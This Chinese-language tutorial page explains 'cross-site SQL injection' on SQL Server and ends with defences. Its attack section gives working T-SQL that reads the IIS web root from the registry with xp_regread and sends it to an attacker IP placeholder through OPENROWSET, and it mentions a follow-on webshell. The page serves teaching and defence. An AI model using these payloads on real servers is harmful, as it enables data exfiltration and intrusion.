首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

跨站式 SQL 注入攻擊與防範深度解析:繞過錯誤訊息屏蔽的資料竊取手法

     編輯:關於SqlServer

攻擊背景

目標網站屏蔽所有錯誤訊息、使用普通權限資料庫帳號、已套用全部修補程式,傳統報錯型/聯合查詢型注入失效。攻擊者轉向**「跨站式 SQL 注入」**:利用 SQL Server 向外部伺服器發送命令的能力,將資料/錯誤導向攻擊者控制的監聽端。

核心技術鏈

  1. OPENROWSET:分散式查詢,向遠端 SQL Server 發送命令並取回結果集,權限要求較低
  2. xp_regread:讀取登錄表 (如網站虛擬目錄路徑)
  3. SQL Profiler / 事件探查器:攻擊者本機啟動追蹤,攔截目標伺服器發出的 OPENROWSET 命令

攻擊步驟實戰還原

階段 1:建立中繼資料表 (攻擊者本機)

CREATE TABLE dbo.laokai (cha8 CHAR(255));

階段 2:注入構造動態 SQL 讀取登錄並發送

DECLARE @result VARCHAR(255);
EXEC master.dbo.xp_regread
    'HKEY_LOCAL_MACHINE',
    'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots',
    '/', @result OUTPUT;

INSERT INTO laokai (cha8)
VALUES ('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''攻擊者IP'';''sa'';''密碼'', 
    ''SELECT * FROM pubs.dbo.authors WHERE au_fname=''''' + @result + ''''''') AS a');
  • 讀取 IIS 虛擬根目錄路徑 (如 C:\Inetpub\wwwroot)
  • 構造帶有該路徑的 OPENROWSET 查詢並存入中繼表
  • 關鍵繞過:單引號、加號等特殊字元需 URL 編碼 / ASCII 轉十六進制 (工具自動化)

階段 3:觸發執行與資料竊取


DECLARE @a1 CHAR(255);
SET @a1 = (SELECT cha8 FROM laokai);
EXEC (@a1);
  • 目標伺服器執行動態 SQL,向攻擊者 IP 發起 OPENROWSET 連線
  • 攻擊者事件探查器捕獲:SELECT * FROM pubs.dbo.authors WHERE au_fname='C:\Inetpub\wwwroot'
  • 成功竊取伺服器敏感路徑資訊,後續可進一步植入 Webshell

防範對策

層面措施
資料庫設定停用 xp_cmdshell、OPENROWSET、OPENDATASOURCE、xp_regread 等高危擴展預存程序 (sp_dropextendedproc)
帳號權限Web 應用使用**最低權限**帳號 (僅 db_datareader/db_datawriter + 執行特定 SP),嚴禁 sa/sysadmin
程式碼層**全面參數化查詢** (SqlParameter/CommandObject),嚴禁字串拼接 SQL
網路層資料庫伺服器**禁止主動對外連線** (防火牆僅允許應用伺服器 IP 入站 1433)
監控層啟用登入/錯誤稽核,監控 OPENROWSET、xp_* 呼叫,異常告警
輸入驗證白名單驗證所有使用者輸入 (長度、字元集、格式)

結語

跨站式 SQL 注入展示了**錯誤訊息屏蔽不等於安全**的鐵律:只要資料庫具備向外發送命令的能力,攻擊者即可將資料「彈射」至外部。徹底防範需從**權限最小化、功能裁剪、網路隔離、參數化查詢**多層次佈防,單一修補無法根治。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved